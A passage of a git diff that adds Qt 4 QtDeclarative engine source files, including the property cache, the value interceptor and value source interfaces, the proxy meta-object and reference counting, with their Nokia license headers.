+{
+ return stringCache.keys();
+}
+
+QDeclarativePropertyCache::Data *QDeclarativePropertyCache::property(QDeclarativeEngine *engine, QObject *obj,
+ const QScriptDeclarativeClass::Identifier &name, Data &local)
+{
+ QDeclarativePropertyCache::Data *rv = 0;
+
+ QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
+
+ QDeclarativePropertyCache *cache = 0;
+ QDeclarativeData *ddata = QDeclarativeData::get(obj);
+ if (ddata && ddata->propertyCache && ddata->propertyCache->qmlEngine() == engine)
+ cache = ddata->propertyCache;
+ if (!cache) {
+ cache = enginePrivate->cache(obj);
+ if (cache && ddata && !ddata->propertyCache) { cache->addref(); ddata->propertyCache = cache; }
+ }
+
+ if (cache) {
+ rv = cache->property(name);
+ } else {
+ local = QDeclarativePropertyCache::create(obj->metaObject(), enginePrivate->objectClass->toString(name));
+ if (local.isValid())
+ rv = &local;
+ }
+
+ return rv;
+}
+
+QDeclarativePropertyCache::Data *QDeclarativePropertyCache::property(QDeclarativeEngine *engine, QObject *obj,
+ const QString &name, Data &local)
+{
+ QDeclarativePropertyCache::Data *rv = 0;
+
+ if (!engine) {
+ local = QDeclarativePropertyCache::create(obj->metaObject(), name);
+ if (local.isValid())
+ rv = &local;
+ } else {
+ QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
+
+ QDeclarativePropertyCache *cache = 0;
+ QDeclarativeData *ddata = QDeclarativeData::get(obj);
+ if (ddata && ddata->propertyCache && ddata->propertyCache->qmlEngine() == engine)
+ cache = ddata->propertyCache;
+ if (!cache) {
+ cache = enginePrivate->cache(obj);
+ if (cache && ddata && !ddata->propertyCache) { cache->addref(); ddata->propertyCache = cache; }
+ }
+
+ if (cache) {
+ rv = cache->property(name);
+ } else {
+ local = QDeclarativePropertyCache::create(obj->metaObject(), name);
+ if (local.isValid())
+ rv = &local;
+ }
+ }
+
+ return rv;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativepropertycache_p.h b/src/declarative/qml/qdeclarativepropertycache_p.h
new file mode 100644
index 00000000..7ac69254
--- /dev/null
+++ b/src/declarative/qml/qdeclarativepropertycache_p.h
@@ -0,0 +1,240 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPROPERTYCACHE_P_H
+#define QDECLARATIVEPROPERTYCACHE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativerefcount_p.h"
+#include "private/qdeclarativecleanup_p.h"
+#include "private/qdeclarativenotifier_p.h"
+
+#include <QtCore/qvector.h>
+
+#include <QtScript/private/qscriptdeclarativeclass_p.h>
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QMetaProperty;
+
+class Q_AUTOTEST_EXPORT QDeclarativePropertyCache : public QDeclarativeRefCount, public QDeclarativeCleanup
+{
+public:
+ QDeclarativePropertyCache(QDeclarativeEngine *);
+ QDeclarativePropertyCache(QDeclarativeEngine *, const QMetaObject *);
+ virtual ~QDeclarativePropertyCache();
+
+ struct Data {
+ inline Data();
+ inline bool operator==(const Data &);
+
+ enum Flag {
+ NoFlags = 0x00000000,
+
+ // Can apply to all properties, except IsFunction
+ IsConstant = 0x00000001,
+ IsWritable = 0x00000002,
+ IsResettable = 0x00000004,
+ IsAlias = 0x00000008,
+
+ // These are mutualy exclusive
+ IsFunction = 0x00000010,
+ IsQObjectDerived = 0x00000020,
+ IsEnumType = 0x00000040,
+ IsQList = 0x00000080,
+ IsQmlBinding = 0x00000100,
+ IsQScriptValue = 0x00000200,
+
+ // Apply only to IsFunctions
+ IsVMEFunction = 0x00000400,
+ HasArguments = 0x00000800,
+ IsSignal = 0x00001000,
+ IsVMESignal = 0x00002000
+ };
+ Q_DECLARE_FLAGS(Flags, Flag)
+
+ bool isValid() const { return coreIndex != -1; }
+
+ Flags flags;
+ int propType;
+ int coreIndex;
+ union {
+ int notifyIndex; // When !IsFunction
+ int relatedIndex; // When IsFunction
+ };
+ uint overrideIndexIsProperty : 1;
+ signed int overrideIndex : 31;
+ int revision;
+ int metaObjectOffset;
+
+ static Flags flagsForProperty(const QMetaProperty &, QDeclarativeEngine *engine = 0);
+ void load(const QMetaProperty &, QDeclarativeEngine *engine = 0);
+ void load(const QMetaMethod &);
+ QString name(QObject *);
+ QString name(const QMetaObject *);
+ };
+
+ struct ValueTypeData {
+ inline ValueTypeData();
+ inline bool operator==(const ValueTypeData &);
+ Data::Flags flags; // flags of the access property on the value type proxy object
+ int valueTypeCoreIdx; // The prop index of the access property on the value type proxy object
+ int valueTypePropType; // The QVariant::Type of access property on the value type proxy object
+ };
+
+ void update(QDeclarativeEngine *, const QMetaObject *);
+
+ QDeclarativePropertyCache *copy() const;
+ void append(QDeclarativeEngine *, const QMetaObject *, Data::Flag propertyFlags = Data::NoFlags,
+ Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
+ void append(QDeclarativeEngine *, const QMetaObject *, int revision, Data::Flag propertyFlags = Data::NoFlags,
+ Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
+
+ static Data create(const QMetaObject *, const QString &);
+
+ inline Data *property(const QScriptDeclarativeClass::Identifier &id) const;
+ Data *property(const QString &) const;
+ Data *property(int) const;
+ Data *method(int) const;
+ QStringList propertyNames() const;
+
+ inline Data *overrideData(Data *) const;
+ inline bool isAllowedInRevision(Data *) const;
+
+ inline QDeclarativeEngine *qmlEngine() const;
+ static Data *property(QDeclarativeEngine *, QObject *, const QScriptDeclarativeClass::Identifier &, Data &);
+ static Data *property(QDeclarativeEngine *, QObject *, const QString &, Data &);
+
+protected:
+ virtual void clear();
+
+private:
+ friend class QDeclarativeEnginePrivate;
+
+ struct RData : public Data, public QDeclarativeRefCount {
+ QScriptDeclarativeClass::PersistentIdentifier identifier;
+ };
+
+ typedef QVector<RData *> IndexCache;
+ typedef QHash<QString, RData *> StringCache;
+ typedef QHash<QScriptDeclarativeClass::Identifier, RData *> IdentifierCache;
+ typedef QVector<int> AllowedRevisionCache;
+
+ void updateRecur(QDeclarativeEngine *, const QMetaObject *);
+
+ QDeclarativeEngine *engine;
+ IndexCache indexCache;
+ IndexCache methodIndexCache;
+ StringCache stringCache;
+ IdentifierCache identifierCache;
+ AllowedRevisionCache allowedRevisionCache;
+};
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePropertyCache::Data::Flags);
+
+QDeclarativePropertyCache::Data::Data()
+: flags(0), propType(0), coreIndex(-1), notifyIndex(-1), overrideIndexIsProperty(false), overrideIndex(-1),
+ revision(0), metaObjectOffset(-1)
+{
+}
+
+bool QDeclarativePropertyCache::Data::operator==(const QDeclarativePropertyCache::Data &other)
+{
+ return flags == other.flags &&
+ propType == other.propType &&
+ coreIndex == other.coreIndex &&
+ notifyIndex == other.notifyIndex &&
+ revision == other.revision;
+}
+
+QDeclarativePropertyCache::Data *
+QDeclarativePropertyCache::overrideData(Data *data) const
+{
+ if (data->overrideIndex < 0)
+ return 0;
+
+ if (data->overrideIndexIsProperty)
+ return indexCache.at(data->overrideIndex);
+ else
+ return methodIndexCache.at(data->overrideIndex);
+}
+
+QDeclarativePropertyCache::Data *
+QDeclarativePropertyCache::property(const QScriptDeclarativeClass::Identifier &id) const
+{
+ return identifierCache.value(id);
+}
+
+QDeclarativePropertyCache::ValueTypeData::ValueTypeData()
+: flags(QDeclarativePropertyCache::Data::NoFlags), valueTypeCoreIdx(-1), valueTypePropType(0)
+{
+}
+
+bool QDeclarativePropertyCache::ValueTypeData::operator==(const ValueTypeData &o)
+{
+ return flags == o.flags &&
+ valueTypeCoreIdx == o.valueTypeCoreIdx &&
+ valueTypePropType == o.valueTypePropType;
+}
+
+bool QDeclarativePropertyCache::isAllowedInRevision(Data *data) const
+{
+ return (data->metaObjectOffset == -1 && data->revision == 0) ||
+ (allowedRevisionCache[data->metaObjectOffset] >= data->revision);
+}
+
+QDeclarativeEngine *QDeclarativePropertyCache::qmlEngine() const
+{
+ return engine;
+}
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEPROPERTYCACHE_P_H
diff --git a/src/declarative/qml/qdeclarativepropertyvalueinterceptor.cpp b/src/declarative/qml/qdeclarativepropertyvalueinterceptor.cpp
new file mode 100644
index 00000000..d0c920ee
--- /dev/null
+++ b/src/declarative/qml/qdeclarativepropertyvalueinterceptor.cpp
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativepropertyvalueinterceptor.h"
+
+#include "qdeclarative.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \class QDeclarativePropertyValueInterceptor
+ \brief The QDeclarativePropertyValueInterceptor class is inherited by property interceptors such as Behavior.
+ \internal
+
+ This class intercepts property writes, allowing for custom handling. For example, Behavior uses this
+ interception to provide a default animation for all changes to a property's value.
+ */
+
+/*!
+ Constructs a QDeclarativePropertyValueInterceptor.
+*/
+QDeclarativePropertyValueInterceptor::QDeclarativePropertyValueInterceptor()
+{
+}
+
+QDeclarativePropertyValueInterceptor::~QDeclarativePropertyValueInterceptor()
+{
+}
+
+/*!
+ \fn void QDeclarativePropertyValueInterceptor::setTarget(const QDeclarativeProperty &property)
+ Set the target \a property for the value interceptor. This method will
+ be called by the QML engine when assigning a value interceptor.
+*/
+
+/*!
+ \fn void QDeclarativePropertyValueInterceptor::write(const QVariant &value)
+ This method will be called when a new \a value is assigned to the property being intercepted.
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativepropertyvalueinterceptor.h b/src/declarative/qml/qdeclarativepropertyvalueinterceptor.h
new file mode 100644
index 00000000..49d214b2
--- /dev/null
+++ b/src/declarative/qml/qdeclarativepropertyvalueinterceptor.h
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPROPERTYVALUEINTERCEPTOR_H
+#define QDECLARATIVEPROPERTYVALUEINTERCEPTOR_H
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeProperty;
+class Q_DECLARATIVE_EXPORT QDeclarativePropertyValueInterceptor
+{
+public:
+ QDeclarativePropertyValueInterceptor();
+ virtual ~QDeclarativePropertyValueInterceptor();
+ virtual void setTarget(const QDeclarativeProperty &property) = 0;
+ virtual void write(const QVariant &value) = 0;
+};
+Q_DECLARE_INTERFACE(QDeclarativePropertyValueInterceptor, "com.trolltech.qml.QDeclarativePropertyValueInterceptor")
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPROPERTYVALUEINTERCEPTOR_H
diff --git a/src/declarative/qml/qdeclarativepropertyvaluesource.cpp b/src/declarative/qml/qdeclarativepropertyvaluesource.cpp
new file mode 100644
index 00000000..ee6269d0
--- /dev/null
+++ b/src/declarative/qml/qdeclarativepropertyvaluesource.cpp
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativepropertyvaluesource.h"
+
+#include "qdeclarative.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \class QDeclarativePropertyValueSource
+ \brief The QDeclarativePropertyValueSource class is an interface for property value sources such as animations and bindings.
+
+ See \l{Property Value Sources} for information on writing custom property
+ value sources.
+ */
+
+/*!
+ Constructs a QDeclarativePropertyValueSource.
+*/
+QDeclarativePropertyValueSource::QDeclarativePropertyValueSource()
+{
+}
+
+/*!
+ Destroys the value source.
+*/
+QDeclarativePropertyValueSource::~QDeclarativePropertyValueSource()
+{
+}
+
+/*!
+ \fn void QDeclarativePropertyValueSource::setTarget(const QDeclarativeProperty &property)
+ Set the target \a property for the value source. This method will
+ be called by the QML engine when assigning a value source.
+*/
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativepropertyvaluesource.h b/src/declarative/qml/qdeclarativepropertyvaluesource.h
new file mode 100644
index 00000000..deb01912
--- /dev/null
+++ b/src/declarative/qml/qdeclarativepropertyvaluesource.h
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPROPERTYVALUESOURCE_H
+#define QDECLARATIVEPROPERTYVALUESOURCE_H
+
+#include <QtCore/qobject.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeProperty;
+class Q_DECLARATIVE_EXPORT QDeclarativePropertyValueSource
+{
+public:
+ QDeclarativePropertyValueSource();
+ virtual ~QDeclarativePropertyValueSource();
+ virtual void setTarget(const QDeclarativeProperty &) = 0;
+};
+Q_DECLARE_INTERFACE(QDeclarativePropertyValueSource, "com.trolltech.qml.QDeclarativePropertyValueSource")
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPROPERTYVALUESOURCE_H
diff --git a/src/declarative/qml/qdeclarativeproxymetaobject.cpp b/src/declarative/qml/qdeclarativeproxymetaobject.cpp
new file mode 100644
index 00000000..ca2f3aeb
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeproxymetaobject.cpp
@@ -0,0 +1,124 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeproxymetaobject_p.h"
+#include "private/qdeclarativeproperty_p.h"
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeProxyMetaObject::QDeclarativeProxyMetaObject(QObject *obj, QList<ProxyData> *mList)
+: metaObjects(mList), proxies(0), parent(0), object(obj)
+{
+ *static_cast<QMetaObject *>(this) = *metaObjects->first().metaObject;
+
+ QObjectPrivate *op = QObjectPrivate::get(obj);
+ if (op->metaObject)
+ parent = static_cast<QAbstractDynamicMetaObject*>(op->metaObject);
+
+ op->metaObject = this;
+}
+
+QDeclarativeProxyMetaObject::~QDeclarativeProxyMetaObject()
+{
+ if (parent)
+ delete parent;
+ parent = 0;
+
+ if (proxies)
+ delete [] proxies;
+ proxies = 0;
+}
+
+int QDeclarativeProxyMetaObject::metaCall(QMetaObject::Call c, int id, void **a)
+{
+ if ((c == QMetaObject::ReadProperty ||
+ c == QMetaObject::WriteProperty) &&
+ id >= metaObjects->last().propertyOffset) {
+
+ for (int ii = 0; ii < metaObjects->count(); ++ii) {
+ const ProxyData &data = metaObjects->at(ii);
+ if (id >= data.propertyOffset) {
+ if (!proxies) {
+ proxies = new QObject*[metaObjects->count()];
+ ::memset(proxies, 0,
+ sizeof(QObject *) * metaObjects->count());
+ }
+
+ if (!proxies[ii]) {
+ QObject *proxy = data.createFunc(object);
+ const QMetaObject *metaObject = proxy->metaObject();
+ proxies[ii] = proxy;
+
+ int localOffset = data.metaObject->methodOffset();
+ int methodOffset = metaObject->methodOffset();
+ int methods = metaObject->methodCount() - methodOffset;
+
+ // ### - Can this be done more optimally?
+ for (int jj = 0; jj < methods; ++jj) {
+ QMetaMethod method =
+ metaObject->method(jj + methodOffset);
+ if (method.methodType() == QMetaMethod::Signal)
+ QDeclarativePropertyPrivate::connect(proxy, methodOffset + jj, object, localOffset + jj);
+ }
+ }
+
+ int proxyOffset = proxies[ii]->metaObject()->propertyOffset();
+ int proxyId = id - data.propertyOffset + proxyOffset;
+
+ return proxies[ii]->qt_metacall(c, proxyId, a);
+ }
+ }
+ } else if (c == QMetaObject::InvokeMetaMethod &&
+ id >= metaObjects->last().methodOffset) {
+ QMetaMethod m = object->metaObject()->method(id);
+ if (m.methodType() == QMetaMethod::Signal) {
+ QMetaObject::activate(object, id, a);
+ return -1;
+ }
+ }
+
+ if (parent)
+ return parent->metaCall(c, id, a);
+ else
+ return object->qt_metacall(c, id, a);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeproxymetaobject_p.h b/src/declarative/qml/qdeclarativeproxymetaobject_p.h
new file mode 100644
index 00000000..19a9365e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeproxymetaobject_p.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPROXYMETAOBJECT_P_H
+#define QDECLARATIVEPROXYMETAOBJECT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qmetaobjectbuilder_p.h"
+#include "qdeclarative.h"
+
+#include <QtCore/QMetaObject>
+#include <QtCore/QObject>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeProxyMetaObject : public QAbstractDynamicMetaObject
+{
+public:
+ struct ProxyData {
+ typedef QObject *(*CreateFunc)(QObject *);
+ QMetaObject *metaObject;
+ CreateFunc createFunc;
+ int propertyOffset;
+ int methodOffset;
+ };
+
+ QDeclarativeProxyMetaObject(QObject *, QList<ProxyData> *);
+ virtual ~QDeclarativeProxyMetaObject();
+
+protected:
+ virtual int metaCall(QMetaObject::Call _c, int _id, void **_a);
+
+private:
+ QList<ProxyData> *metaObjects;
+ QObject **proxies;
+
+ QAbstractDynamicMetaObject *parent;
+ QObject *object;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPROXYMETAOBJECT_P_H
+
diff --git a/src/declarative/qml/qdeclarativerefcount.cpp b/src/declarative/qml/qdeclarativerefcount.cpp
new file mode 100644
index 00000000..8fbc0bab
--- /dev/null
+++ b/src/declarative/qml/qdeclarativerefcount.cpp
@@ -0,0 +1,70 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativerefcount_p.h"
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeRefCount::QDeclarativeRefCount()
+: refCount(1)
+{
+}
+
+QDeclarativeRefCount::~QDeclarativeRefCount()
+{
+}
+
+void QDeclarativeRefCount::addref()
+{
+ Q_ASSERT(refCount > 0);
+ ++refCount;
+}
+
+void QDeclarativeRefCount::release()
+{
+ Q_ASSERT(refCount > 0);
+ --refCount;
+ if (refCount == 0)
+ delete this;
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativerefcount_p.h b/src/declarative/qml/qdeclarativerefcount_p.h
new file mode 100644
index 00000000..ca09c337
--- /dev/null
+++ b/src/declarative/qml/qdeclarativerefcount_p.h
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
